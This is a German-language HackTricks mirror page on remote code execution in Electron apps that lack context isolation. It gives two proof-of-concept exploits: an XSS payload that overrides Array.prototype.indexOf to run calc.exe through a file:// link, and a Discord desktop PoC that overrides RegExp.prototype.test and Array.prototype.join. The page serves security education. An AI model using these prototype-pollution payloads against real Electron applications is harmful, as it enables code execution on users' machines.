mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
103 lines
6.2 KiB
Markdown
103 lines
6.2 KiB
Markdown
# Electron contextIsolation RCE via preload code
|
|
|
|
<details>
|
|
|
|
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
|
|
|
</details>
|
|
|
|
## Beispiel 1
|
|
|
|
Beispiel von [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
|
|
|
|
Dieser Code öffnet http(s)-Links mit dem Standardbrowser:
|
|
|
|
![](<../../../.gitbook/assets/image (768).png>)
|
|
|
|
Etwas wie `file:///C:/Windows/systemd32/calc.exe` könnte verwendet werden, um einen Taschenrechner auszuführen, das `SAFE_PROTOCOLS.indexOf` verhindert dies.
|
|
|
|
Daher könnte ein Angreifer diesen JS-Code über XSS oder beliebige Seitennavigation einschleusen:
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function(){
|
|
return 1337;
|
|
}
|
|
</script>
|
|
```
|
|
Da der Aufruf von `SAFE_PROTOCOLS.indexOf` immer 1337 zurückgibt, kann der Angreifer den Schutz umgehen und den Taschenrechner ausführen. Endgültiges Exploit:
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function(){
|
|
return 1337;
|
|
}
|
|
</script>
|
|
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
|
|
```
|
|
Überprüfen Sie die Originalfolien nach anderen Möglichkeiten, Programme auszuführen, ohne dass eine Aufforderung zur Berechtigung angezeigt wird.
|
|
|
|
Anscheinend gibt es eine weitere Möglichkeit, Code zu laden und auszuführen, indem etwas wie `file://127.0.0.1/electron/rce.jar` aufgerufen wird.
|
|
|
|
## Beispiel 2: Discord App RCE
|
|
|
|
Beispiel von [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
|
|
|
|
Beim Überprüfen der Preload-Skripte fand ich heraus, dass Discord die Funktion freigibt, die es erlaubt, dass einige erlaubte Module über `DiscordNative.nativeModules.requireModule('MODULE-NAME')` aufgerufen werden können, auf der Webseite. Hier konnte ich keine Module verwenden, die direkt für RCE verwendet werden können, wie das _child\_process_ Modul, aber ich **fand einen Code, mit dem RCE erreicht werden kann, indem die integrierten JavaScript-Methoden überschrieben und in die Ausführung des freigegebenen Moduls eingegriffen wird**.
|
|
|
|
Im Folgenden ist der PoC. Ich konnte bestätigen, dass die **calc** Anwendung **angezeigt wird**, wenn ich die Funktion `getGPUDriverVersions` aufrufe, die im Modul "_discord\_utils_" definiert ist, aus den devTools, während **die `RegExp.prototype.test` und `Array.prototype.join` überschrieben werden**.
|
|
```javascript
|
|
RegExp.prototype.test=function(){
|
|
return false;
|
|
}
|
|
Array.prototype.join=function(){
|
|
return "calc";
|
|
}
|
|
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
|
|
```
|
|
Die `getGPUDriverVersions` Funktion versucht, das Programm mithilfe der "_execa_"-Bibliothek auszuführen, wie folgt:
|
|
```javascript
|
|
module.exports.getGPUDriverVersions = async () => {
|
|
if (process.platform !== 'win32') {
|
|
return {};
|
|
}
|
|
|
|
const result = {};
|
|
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
|
|
|
|
try {
|
|
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
|
|
} catch (e) {
|
|
result.nvidia = {error: e.toString()};
|
|
}
|
|
|
|
return result;
|
|
};
|
|
```
|
|
Normalerweise versucht _execa_ "_nvidia-smi.exe_" auszuführen, das in der Variablen `nvidiaSmiPath` angegeben ist. Aufgrund der überschriebenen `RegExp.prototype.test` und `Array.prototype.join` wird jedoch **das Argument durch "**_**calc**_**" in der internen Verarbeitung von \_execa**\_** ersetzt**.
|
|
|
|
Speziell wird das Argument durch Ändern der folgenden zwei Teile ersetzt.
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
|
|
|
</details>
|